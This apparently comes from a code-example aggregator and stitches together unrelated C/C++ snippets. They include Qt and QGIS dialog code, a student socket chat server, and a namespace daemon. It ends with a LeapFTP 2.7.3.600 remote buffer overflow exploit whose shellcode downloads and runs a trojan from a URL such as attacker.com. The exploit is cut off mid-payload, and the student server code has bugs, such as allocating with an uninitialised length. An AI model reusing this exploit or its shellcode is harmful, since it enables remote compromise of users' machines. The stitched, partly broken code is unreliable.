  button = new QPushButton(tr("Delete"));
  connect(button, SIGNAL(clicked()), this, SLOT(delSelectedRouting()));
  vLayout->addWidget(button);
  vLayout->addStretch();
  hLayout->addLayout(vLayout);

  m_routingTableView = new QTableView();
  m_tableModel = new LogRoutingInfoTableModel();
  m_routingTableView->setModel(m_tableModel);

  LinkBackFilterDelegate* delegate = new LinkBackFilterDelegate(m_routingTableView);
  m_routingTableView->setItemDelegate(delegate);

  CheckBoxOnlyDelegate * cboDelegate = new CheckBoxOnlyDelegate(m_routingTableView);
  m_routingTableView->setItemDelegateForColumn(LogRoutingInfoTableModel::enabledColumn, cboDelegate);
  m_routingTableView->setItemDelegateForColumn(LogRoutingInfoTableModel::routFileColumn, cboDelegate);
  m_routingTableView->setItemDelegateForColumn(LogRoutingInfoTableModel::routScreenColumn, cboDelegate);
  m_routingTableView->setItemDelegateForColumn(LogRoutingInfoTableModel::routDebugColumn, cboDelegate);

  hLayout->addWidget(m_routingTableView);
  fLayout->addRow(hLayout);


  QDialogButtonBox *buttonBox = new QDialogButtonBox(QDialogButtonBox::Ok | QDialogButtonBox::Cancel, Qt::Horizontal);
  connect(buttonBox, SIGNAL(accepted()), this, SLOT(accept()));
  connect(buttonBox, SIGNAL(rejected()), this, SLOT(reject()));
  fLayout->addRow(buttonBox);

  setLayout(fLayout);

  QSettings settings;
  restoreGeometry(settings.value("LogConfigDialogGeometry").toByteArray());
  setConfigFilePath(settings.value("LogConfigDialogLastConfigPath").toString());
  QString s = settings.value("LogConfigDialogRoutingColumnWidths").toString();
  if (s.length() > 0)
  {
    QStringList list = s.split(',');
    bool ok = true;
    for (int i=0; i<list.count() && i<LogRoutingInfoTableModel::numColumns; ++i)
    {
      int width = list[i].toInt(&ok);
      if (ok && width > 0)
      {
        m_routingTableView->setColumnWidth(i, width);
      }
    }
  }
}
int server(char *port)

{
	int listenfd /*to listen*/, 
		newfd; /*new connection*/
		

	int getaddrval, len1, len2, len3; 
	int maxfdnumber, clientlistindex, i, j, k, ready, copyfd, argsc ;
	
	int clientfdlist[MAXCLIENTS];
	struct addrinfo hints, *result, *p;
	struct sockaddr_in client;
	
	fd_set masterfdset /*all sockets or fds to monitor*/, 
			readfdset /*this will be modified after select()*/;

	int numrecv, numsent;
	void *buffer;
	
	struct clientinfo info[MAXCLIENTS]; 
	struct unabletoconnect unablemessage;

	u_short clientport, myport;
	char clientip[INET_ADDRSTRLEN], myip[INET_ADDRSTRLEN];
	char myhostname[40], clienthostname[40];

	char command[MAXTOTALLENGTH];
	char *token;
	char args[MAXARGS][MAXARGLENGTH];

	struct sockaddr_in *temp, *temp2;

	
	// load up hints
	// getaddrinfo code concept taken from http://beej.us/guide/bgnet/output/html/multipage/syscalls.html#getaddrinfo

	buffer = malloc (len1);

	len1 = sizeof(struct sockaddr_in);
	len2 = MAXCLIENTS*(sizeof(struct clientinfo));
	len3 = sizeof(struct unabletoconnect);

	bzero(&hints, sizeof(struct addrinfo));
	hints.ai_family = AF_INET; //ipv4
	hints.ai_socktype = SOCK_STREAM; //tcp
	hints.ai_flags = AI_PASSIVE; //use my ip

	for (i=0; i<MAXCLIENTS; i++)
	{
		bzero(&info[i], sizeof(struct clientinfo));	
		info[i].id= 1;
	}
	
	unablemessage.id = 0; 		
//--------------------------------------------------------------------------------------------------------

	// call getaddrinfo()
	
	if ((getaddrval = getaddrinfo(NULL, port, &hints, &result)) < 0)
	{
		perror ("getaddrinfo() error");
		exit(-1);
	}

//--------------------------------------------------------------------------------------------------------
	p=result;


	// try to create socket() and bind() for each element in result
	do
	{
		if ((listenfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) < 0)
		{
			printf ("%d\n", listenfd);
			perror ("socket() error");
			exit(-1);
		}

		if ((bind (listenfd, p->ai_addr, p->ai_addrlen)) < 0)
		{	
			printf ("%d\n", listenfd);
			perror ("bind() error");
			exit(-1);
		} 	

		break; //if successful, break

		p=p->ai_next;
	
	} while(p->ai_next !=NULL);


	if (p==NULL) 
	{
        printf("Server: socket() and/or bind() not successful\n");
		exit(-1);
	}


//--------------------------------------------------------------------------------------------------------
	
	//for MYIP and MYPORT	
	// code taken from http://jhshi.me/2013/11/02/how-to-get-hosts-ip-address/

	char hostname[256]; 
	int sock; /*for getting myip and myport */ 
	struct addrinfo hints4, *result4;
	char* target_name = "8.8.8.8"; //Google DNS IP and Port
	char* target_port = "53";
	struct sockaddr_in local_addr;
	socklen_t addr_len;

	if (gethostname(hostname, sizeof(hostname)) < 0) 
	{
	    perror("gethostname() error while getting own hostname");
	    return -1;
	}

	/* get peer server */
	memset(&hints4, 0, sizeof(hints4));
	hints4.ai_family = AF_INET;
	hints4.ai_socktype = SOCK_STREAM;

	if ((getaddrval = getaddrinfo(target_name, target_port, &hints4, &result4)) < 0) 
	{
	  	printf ("%d\n",getaddrval);
		perror ("getaddrinfo() error while getting own hostname");
		exit(-1);
	}

	if ((sock = socket(result4->ai_family, result4->ai_socktype, result4->ai_protocol)) < 0)
	{
	    printf ("%d\n", sock);
		perror("socket error while getting own hostname");
	    exit(-1);
	}

	/* connect to server */
	if (connect(sock, result4->ai_addr, result4->ai_addrlen) < 0) 
	{
	    perror("connect error while getting own hostname");
	    close(sock);
	    exit(-1);
	}

	/* get local socket info */
	
	addr_len = sizeof(local_addr);
	if (getsockname(sock, (struct sockaddr*)&local_addr, &addr_len) < 0) 
	{
	    perror("getsockname while getting own hostname");
	    close(sock);
	    exit(-1);
	 }


	inet_ntop(local_addr.sin_family, &(local_addr.sin_addr), myip, sizeof(myip));
   	myport = atoi(port); 

	struct hostent *myhe;
	struct in_addr myipv4addr;								
	inet_pton(AF_INET, myip, &myipv4addr);
	myhe = gethostbyaddr(&myipv4addr, sizeof myipv4addr, AF_INET);
	
	strcpy(myhostname, myhe->h_name);

	//--------------------------------------------------------------------------------------------------------

	//listen() for new connections

	if ((listen (listenfd, BACKLOG)) < 0)
	{
		printf ("%d\n", listenfd);
		perror ("listen() error");
		exit(-1);
	}


	maxfdnumber = listenfd; // to put into select. initially, maxfdnumber is the socket we just got after socket()
	clientlistindex = -1;  

	for (i=0; i<MAXCLIENTS; i++)
	{
		clientfdlist[i]= -1;
	}

	FD_ZERO(&masterfdset);
	FD_SET(listenfd, &masterfdset); //Add listenfd to the master set.
	FD_SET(STDINFD, &masterfdset); //add STDINFD to master

	
 //--------------------------------------------------------------------------------------------------------

	while(1)  
	{

		fflush(stdout);

		readfdset = masterfdset;

		ready = select (maxfdnumber+1, &readfdset, NULL, NULL, NULL);
		//after select() returns, if an fd in readfds is set, a read on that fd will not block

		//select() function concept taken from 
		//UNIX Network Programming : Networking APIs : Sockets and XTI : Volume 1, Second Edition,
		// W. Richard Stevens, Prentice Hall, Oct 1997, ISBN: 013490012X
		//page 162
		

		if (FD_ISSET (STDINFD, &readfdset)) //check for user input
		{
			//tokenize inputs and store in args[]
		   argsc = 0;
		   bzero(&args, sizeof(MAXARGS*MAXARGLENGTH));
		   
		   fgets(command, MAXTOTALLENGTH, stdin);
		   token = strtok(command, "\n ");
		   
		    while( token != NULL ) 
		   {
		      strcpy(args[argsc] ,token);
		      args[argsc][strlen(token)] = '\0';  
		      token = strtok(NULL, "\n ");
		      argsc++;
		   }

		   if (!strcmp(args[0], "CREATOR"))
		   {
		   		printf(
		   		"Name                           : Harishankar Vishwanathan\n"
		   		"UBIT Name                      : harishan\n"
		   		"UB Email                       : [email protected]\n"
				"I have read and understood the course academic integrity policy located at\n" 
				"http:www.cse.buffalo.edu/faculty/dimitrio/courses/cse4589_f14/index.html#integrity\n");
				fflush(stdout);			   
		   }
		  
		   else if (!strcmp(args[0], "HELP"))
		   {
		   		printf(
		   		"CREATOR                             : Display name, UBIT name and UB Email\n"
		   		"                                      of the creator of this program.\n"
		   		"MYIP                                : Display IP Address of this process.\n"
		   		"MYPORT                              : Display PORT number on which this process\n"
		   		"                                      is listening for incoming connections.\n"
		   		"REGISTER <server_IP> <port_no>      : Register with the server \n"
		   		"                                      and obtain the Server-IP List.\n"
		   		"CONNECT <destination> <port_no>     : Establish a new TCP connection to the\n"
		   		"                                      specified <destination> at the specified\n" 
		   		"                                      <port_no>.\n"
		   		"LIST                                : Display list of all connections this \n"
		   		"                                      process is a part of.\n"
		   		"UPLOAD <connection_id> <filename>   : Upload <file_name> to host specified on\n"
		   		"                                      on <connection_id>\n"
		   		"DOWNLOAD <connection_id1><file1> ...: Download a file from each specified host\n" 
		   		"                                      in the command\n"
		   		"TERMINATE <connection_id>           : Terminate the connection specified by\n" 
		   		"                                      <connection_id>, obtained from the LIST\n" 
		   		"                                      command.\n"
		   		"EXIT                                : Close all connections and terminate the\n" 
		   		"                                      process.\n");
		   		fflush(stdout);
		   }

		   else if (!strcmp(args[0], "MYIP"))
		   {
		   		printf("IP address:%s", myip);
		   		printf("\n");
		   		fflush(stdout);
		   }

		   else if (!strcmp(args[0], "MYPORT"))
		   {
		   		printf("Port number:%d", myport);
		   		printf("\n");
		   		fflush(stdout);
		   }

		    else if (!strcmp(args[0], "LIST")) 
		   {
		   		struct hostent *he;
				struct in_addr ipv4addr;
				for (k =0; k<MAXCLIENTS; k++)
				{
					if ((info[k].clientaddrlist.sin_port) == 0)
					{	
						continue;
					}	
				
					inet_ntop(AF_INET, &(info[k].clientaddrlist.sin_addr), clientip, sizeof(clientip));
					inet_pton(AF_INET, clientip, &ipv4addr);
					he = gethostbyaddr(&ipv4addr, sizeof ipv4addr, AF_INET);
					clientport = ntohs(info[k].clientaddrlist.sin_port);

					printf("%-5d%-35s%-20s%-8d\n", k+1, he->h_name, clientip, clientport);

				}
			}

		   
		   else if (!strcmp(args[0], "EXIT"))
		   {
		   		for (j=0; j<MAXCLIENTS; j++)
				{
					if (clientfdlist[j]< 0)
					{
						continue;
					}

					copyfd = clientfdlist[j];
							
					close(copyfd);
					FD_CLR(copyfd, &masterfdset);  //clear the entry from masterfdset
					clientfdlist[j] = -1; // remove from client list
					
				}
				
				close(listenfd);
				
				exit(0);
		   }


		   else if (!strcmp(args[0], "STATISTICS"))
		   {
		   		printf(" STATISTICS not implemented yet\n");
		   }


		   else
		   {
		   	printf("Please enter a valid command\n");
		   }

		   ready--;
			if (ready <= 0) 
			{
				continue;
			}

		}

		///checking for new clients trying to register connections by checking listenfd
		if (FD_ISSET (listenfd, &readfdset)) 
		{
						
			if ( (newfd = accept(listenfd, (struct sockaddr*)&client, &len1)) < 0)
			{	
				printf ("%d\n", newfd);
				perror ("accept error");
				exit(-1);			
			}

			for (i=0; i<MAXCLIENTS; i++)
			{
				if (clientfdlist[i]< 0)
				{
					clientfdlist[i]= newfd;  //add descriptor to clientfdlist[] array
					
					numrecv = recv(clientfdlist[i], buffer, len1, 0);


					if (numrecv < 0)
					{
				   	 	//printf("Client: recv() error\n");
				   	 	printf ("%d\n", numrecv);
						perror ("recv error");
						exit(-1);
						
					}

					else
					{
						struct sockaddr_in temp;
						void *ptr = &temp;
						memcpy(ptr, buffer, len1);
						info[i].clientaddrlist = temp; 
					}

					break;
				}		

			}


			if (i == MAXCLIENTS)
			{
				printf("Too many clients. Unable to register any more clients\n"); 
				
				strcpy(unablemessage.message,"Server: error: Too many clients. Unable to connect");
				if (numsent = send(newfd, &unablemessage, len3, 0) <0)
				{
					printf ("%d\n",numsent);
					perror ("send error");
					exit(-1);
				}

				continue;
			}

			if (i >clientlistindex)
			{
				clientlistindex = i;
				//clientlistindex++;
			}

			//add new descriptor to the masterfdset
			FD_SET(newfd, &masterfdset);

			if (newfd> maxfdnumber)
			{	
				maxfdnumber = newfd;
			}

			
			//send new info array to connected clients.
			for (j=0; j<=clientlistindex; j++)
			{
				
				copyfd = clientfdlist[j];

				if (clientfdlist[j]< 0)
				{
					continue;
				}				
				
				else if (numsent = send(copyfd, &info, len2, 0) < 0)
				{
					printf ("%d\n", numsent);
					perror ("send error");
					continue;
				}

			}


			ready--;
			if (ready <= 0) 
			{
				continue;
			}


		}

		for (i=0; i <= clientlistindex; i++)  //check all clients for data 
											   //for checking if client has terminated
		{
			
			if (clientfdlist[i]<0)
			{
				continue;
			}

			copyfd = clientfdlist[i];
			
			
			if (FD_ISSET(copyfd, &readfdset))
			{
				
				numrecv = recv(copyfd, buffer, len1, 0);
				if ( numrecv == 0) //connection closed by client, client TCP sends a FIN 
				{
					printf("Connection closed by a client\n");
					close(copyfd);  
					FD_CLR(copyfd, &masterfdset);  //clear the entry from masterfdset
					clientfdlist[i] = -1; // remove from client list
					bzero(&info[i].clientaddrlist, len1);

					for (j=0; j<=clientlistindex; j++)
					{
				
						copyfd = clientfdlist[j];
						if (clientfdlist[j]< 0)
						{
							continue;
						}				
						else if (send(copyfd, &info, len2, 0) == -1)
						{
							printf("send() error\n");  //send updated info to all clients
						}

					}

				}
				
				
				else if (numrecv < 0)
				{
			   	 	perror ("recv error");
					exit(-1);
					
				}

				ready--;
		    	if (ready <= 0) 
				{
					break;
				}

			}	
			
		}

	}

	return 0;
}
Exemplo n.º 15
0
void QgsInterpolationDialog::on_buttonBox_accepted()
{
  if ( !mInterpolatorDialog )
  {
    return;
  }

  QgsRectangle outputBBox = currentBoundingBox();
  if ( outputBBox.isEmpty() )
  {
    return;
  }

  //warn the user if there isn't any input layer
  if ( mLayersTreeWidget->topLevelItemCount() < 1 )
  {
    QMessageBox::information( nullptr, tr( "No input data for interpolation" ), tr( "Please add one or more input layers" ) );
    return;
  }

  //read file name
  QString fileName = mOutputFileLineEdit->text();
  QFileInfo theFileInfo( fileName );
  if ( fileName.isEmpty() || !theFileInfo.dir().exists() )
  {
    QMessageBox::information( nullptr, tr( "Output file name invalid" ), tr( "Please enter a valid output file name" ) );
    return;
  }

  //add .asc suffix if the user did not provider it already
  QString suffix = theFileInfo.suffix();
  if ( suffix.isEmpty() )
  {
    fileName.append( ".asc" );
  }

  int nLayers = mLayersTreeWidget->topLevelItemCount();
  QList< QgsInterpolator::LayerData > inputLayerList;

  for ( int i = 0; i < nLayers; ++i )
  {
    QString layerName = mLayersTreeWidget->topLevelItem( i )->text( 0 );
    QgsVectorLayer* theVectorLayer = vectorLayerFromName( layerName );
    if ( !theVectorLayer )
    {
      continue;
    }

    QgsVectorDataProvider* theProvider = theVectorLayer->dataProvider();
    if ( !theProvider )
    {
      continue;
    }

    QgsInterpolator::LayerData currentLayerData;
    currentLayerData.vectorLayer = theVectorLayer;

    QString interpolationAttString = mLayersTreeWidget->topLevelItem( i )->text( 1 );
    if ( interpolationAttString == "Z_COORD" )
    {
      currentLayerData.zCoordInterpolation = true;
      currentLayerData.interpolationAttribute = -1;
    }
    else
    {
      currentLayerData.zCoordInterpolation = false;
      int attributeIndex = theProvider->fieldNameIndex( interpolationAttString );
      currentLayerData.interpolationAttribute = attributeIndex;
    }

    //type (point/structure line/ breakline)
    QComboBox* itemCombo = qobject_cast<QComboBox *>( mLayersTreeWidget->itemWidget( mLayersTreeWidget->topLevelItem( i ), 2 ) );
    if ( itemCombo )
    {
      QString typeString = itemCombo->currentText();
      if ( typeString == tr( "Break lines" ) )
      {
        currentLayerData.mInputType = QgsInterpolator::BREAK_LINES;
      }
      else if ( typeString == tr( "Structure lines" ) )
      {
        currentLayerData.mInputType = QgsInterpolator::STRUCTURE_LINES;
      }
      else //Points
      {
        currentLayerData.mInputType = QgsInterpolator::POINTS;
      }
    }
    else
    {
      currentLayerData.mInputType = QgsInterpolator::POINTS;
    }
    inputLayerList.push_back( currentLayerData );
  }

  mInterpolatorDialog->setInputData( inputLayerList );
  QgsInterpolator* theInterpolator = mInterpolatorDialog->createInterpolator();

  if ( !theInterpolator )
  {
    return;
  }

  //create grid file writer
  QgsGridFileWriter theWriter( theInterpolator, fileName, outputBBox, mNumberOfColumnsSpinBox->value(),
                               mNumberOfRowsSpinBox->value(), mCellsizeXSpinBox->value(), mCellSizeYSpinBox->value() );
  if ( theWriter.writeFile( true ) == 0 )
  {
    if ( mAddResultToProjectCheckBox->isChecked() )
    {
      mIface->addRasterLayer( fileName, QFileInfo( fileName ).baseName() );
    }
    accept();
  }

  delete theInterpolator;
}
Exemplo n.º 16
0
Arquivo: server.c Projeto: raphui/rdb
void createServer( void *port )
{
    TRACE_2( SERVER , "createServer( %d )." , *( int * )port );

    int s_server = socket( AF_INET , SOCK_STREAM , 0 );
    int clients[MAX_CLIENT] = { 0 };
    int numClients = 0;

    struct sockaddr_in serv_addr;
    argumentReceivingThread_t *args;

    if( s_server < 0 )
    {
        TRACE_ERROR( SERVER , "[-]Error to create socket.");

        pthread_exit( ( void * )-EINVAL );
    }

    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = htonl( INADDR_ANY );
    serv_addr.sin_port = htons( *( int * )port );

    if( bind( s_server , ( struct sockaddr* )&serv_addr, sizeof( serv_addr ) ) < 0 )
    {
        TRACE_ERROR( SERVER , "[-]Error to bind on port: %d." , *( int * )port );

        pthread_exit( ( void * )-ENOTSOCK );
    }

    if( listen( s_server , 10 ) < 0 )
    {
        TRACE_ERROR( SERVER , "[-]Error to listen to 10 connection.");

        pthread_exit( ( void * )-ENOTSOCK );
    }

    while( 1 )
    {
        if( numClients < MAX_CLIENT )
        {
            clients[numClients] = accept( s_server , NULL , NULL );

            if( clients[numClients] > 0 )
            {

                TRACE_1( SERVER , "[!]New client connected.");

                args = ( argumentReceivingThread_t * )zmalloc( sizeof( argumentReceivingThread_t ) );

                args->socket = clients[numClients];
                args->port = *( int * )port;

                createThread( &receivingThread , args );

                numClients++;
            }
        }
    }

    releaseThread();

    pthread_exit( ( void * )0 );
}
Exemplo n.º 17
0
void ps_daemon_io_loop(int fd_initdata)
{
    int fd_listen, fd_control, read_count;

    // open listening socket

    if ((fd_listen=socket(AF_UNIX, SOCK_SEQPACKET, 0)) == -1)
        ps_log(EXIT_FAILURE, LOG_ERROR("failed to create socket - error [%s]"), strerror(errno));

    if (bind(fd_listen, (struct sockaddr *) &ps_daemon_address, sizeof(ps_daemon_address)) == -1)
        ps_log(EXIT_FAILURE, LOG_ERROR("failed to bind socket - error [%s]"), strerror(errno));

    if (listen(fd_listen, 5) == -1)
        ps_log(EXIT_FAILURE, LOG_ERROR("failed to listen on socket - error [%s]"), strerror(errno));

    // send ps_pid to process that ceated the daemon

    if (write(fd_initdata, &ps_pid, sizeof(ps_pid)) == -1)
        ps_log(EXIT_FAILURE, LOG_ERROR("failed to send ps_pid to controler - error [%s]"), strerror(errno));

    close(fd_initdata);

    while (ps_daemon_run)
    {
        fd_control=accept(fd_listen, 0, 0);

        if (fd_control == -1)
        {
            if (errno == EINTR)
                continue;

            ps_log(EXIT_FAILURE, LOG_ERROR("failed to accept controller connection - error [%s]"), strerror(errno));
        }

        while ((read_count = read(fd_control, ps_buffer, sizeof(ps_buffer))))
        {
            if (read_count == -1)
            {
                if (errno == EINTR)
                    continue;

                ps_log(0, LOG_INFO("controller disconnected - error [%s]"), strerror(errno));
                break;
            }

            // process control messages

            if (ps_buffer[0] == PS_MSG_RUN_PROGRAM)
            {
                ps_daemon_run_program(fd_listen, fd_control, ps_buffer+1);
                break;
            }

            if (ps_buffer[0] == PS_MSG_GET_PID)
            {
                sprintf(ps_buffer+1,"%d", ps_pid);

                if (write(fd_control, ps_buffer, strlen(ps_buffer)+1) == -1)
                    ps_log(0, LOG_ERROR("failed to send PID to controller - error [%s]"), strerror(errno));

                break;
            }

            if (ps_buffer[0] == PS_MSG_CHANGE_WORKINGDIR)
            {
                ps_buffer[0]= PS_MSG_EXIT_STATUS;

                if (chdir(ps_buffer+1) == -1)
                {
                    ps_log(0, LOG_ERROR("failed to change working dir to [%s] - error [%s]"), ps_buffer+1, strerror(errno));
                    sprintf(ps_buffer+1,"%d", EXIT_FAILURE);
                }
                else
                    sprintf(ps_buffer+1,"%d", EXIT_SUCCESS);

                if (write(fd_control, ps_buffer, strlen(ps_buffer)+1) == -1)
                    ps_log(0, LOG_ERROR("failed to send resultcode of CWD to controller - error [%s]"), strerror(errno));

                break;
            }

            if (ps_buffer[0] == PS_MSG_UNSHARE_NETWORK)
            {
                ps_buffer[0] = PS_MSG_EXIT_STATUS;

                if (ps_daemon_network_changed)
                {
                    ps_log(0, LOG_ERROR("network already unshared"));
                    sprintf(ps_buffer+1,"%d", EXIT_FAILURE);
                }
                else
                {
                    if (unshare(CLONE_NEWNET) == -1)
                    {
                        ps_log(0, LOG_ERROR("failed to unshare network - error [%s]"), strerror(errno));
                        sprintf(ps_buffer+1,"%d", EXIT_FAILURE);
                    }
                    else
                    {
                        ps_daemon_network_changed=1;
                        sprintf(ps_buffer+1,"%d", EXIT_SUCCESS);
                    }
                }

                if (write(fd_control, ps_buffer, strlen(ps_buffer)+1) == -1)
                    ps_log(0, LOG_ERROR("failed to sent resultcode of UNSHARE NETWORK to controller - error [%s]"), strerror(errno));

                break;
            }

            if (ps_buffer[0] == PS_MSG_UNSHARE_IPC)
            {
                ps_buffer[0] = PS_MSG_EXIT_STATUS;

                if (ps_daemon_ipc_changed)
                {
                    ps_log(0, LOG_ERROR("ipc already unshared"));
                    sprintf(ps_buffer+1,"%d", EXIT_FAILURE);
                }
                else
                {
                    if (unshare(CLONE_NEWIPC) == -1)
                    {
                        ps_log(0, LOG_ERROR("failed to unshare ipc - error [%s]"), strerror(errno));
                        sprintf(ps_buffer+1,"%d", EXIT_FAILURE);
                    }
                    else
                    {
                        ps_daemon_ipc_changed=1;
                        sprintf(ps_buffer+1,"%d", EXIT_SUCCESS);
                    }
                }

                if (write(fd_control, ps_buffer, strlen(ps_buffer)+1) == -1)
                    ps_log(0, LOG_ERROR("failed to sent resultcode of UNSHARE IPC to controller - error [%s]"), strerror(errno));

                break;
            }

            if (ps_buffer[0] == PS_MSG_CHANGE_ROOTFS)
            {
                ps_buffer[0] = PS_MSG_EXIT_STATUS;
                sprintf(ps_buffer+1,"%d", ps_daemon_change_rootfs(ps_buffer+1));

                if (write(fd_control, ps_buffer, strlen(ps_buffer)+1) == -1)
                    ps_log(0, LOG_ERROR("failed to sent resultcode of CHROOTFS to controller - error [%s]"), strerror(errno));

                break;
            }
        }

        close(fd_control);
    }
}
Exemplo n.º 18
0
void main(int argc, char *argv[]){

printf(",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n");
printf(";LeapFTP 2.7.3.600 remote buffer overflow exploit;\n");
printf("; Coded by drG4njubas \\\\ DWC Security Group ;\n");
printf("; www.dwcgr0up.net ;\n");
printf("'''''''''''''''''''''''''''''''''''''''''''''''''''\n");

if(argc < 3){
printf("USAGE : dwclft273.exe <port> <trojan url>\n");
printf("EXAMPLE : dwclft273.exe 21 http://www.attacker.com/trojan.exe\n");
return;
}

char exploit[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xEB\x30\x5F\xFC\x8B\xF7\x80"
"\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB2\x04\xC1"
"\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB2\x7C\x8B"
"\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF8\x8B\x40"
"\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0C\x03\x7D"
"\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8B\xF8\x33"
"\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7A\x03\x80"
"\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x51\xF3\xA6"
"\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC1\xE0\x02"
"\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x40\x3C\x03"
"\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF0\xAD\x03"
"\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xFC\x8D\x76"
"\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5E\x74\x06"
"\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0E\xEB\x02"
"\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5D\xFC\x8D"
"\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x45\xE4\xFC"
"\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x43\xE2\xE1"
"\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x53\x51\x53"
"\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x43\xEB\xF9"
"\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD4\xFF\xD0"
"\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xFF\xD0\x8D"
"\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x52\x8D\x7B"
"\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB6\x1F\xC1"
"\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8B\x45\xB4"
"\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xDC\xFF\xD0"
"\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B\x55\xA4"
"\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC\xFF\xD0"
"\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F\x64\x75"
"\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2d\x64"
"\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x4C\x6F"
"\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74\x08\x5F"
"\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x08\x5F"
"\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69\x74\x50"
"\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2d\x64\x6C\x6C\x08\x49"
"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65"
"\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65"
"\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65"
"\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2d\x65\x78\x65\x08\x68"
"\x74\x74\x70\x3A\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
"\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
"\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
"\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
"\x93\x93\x93\x93\x93\x93\x93\x93\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
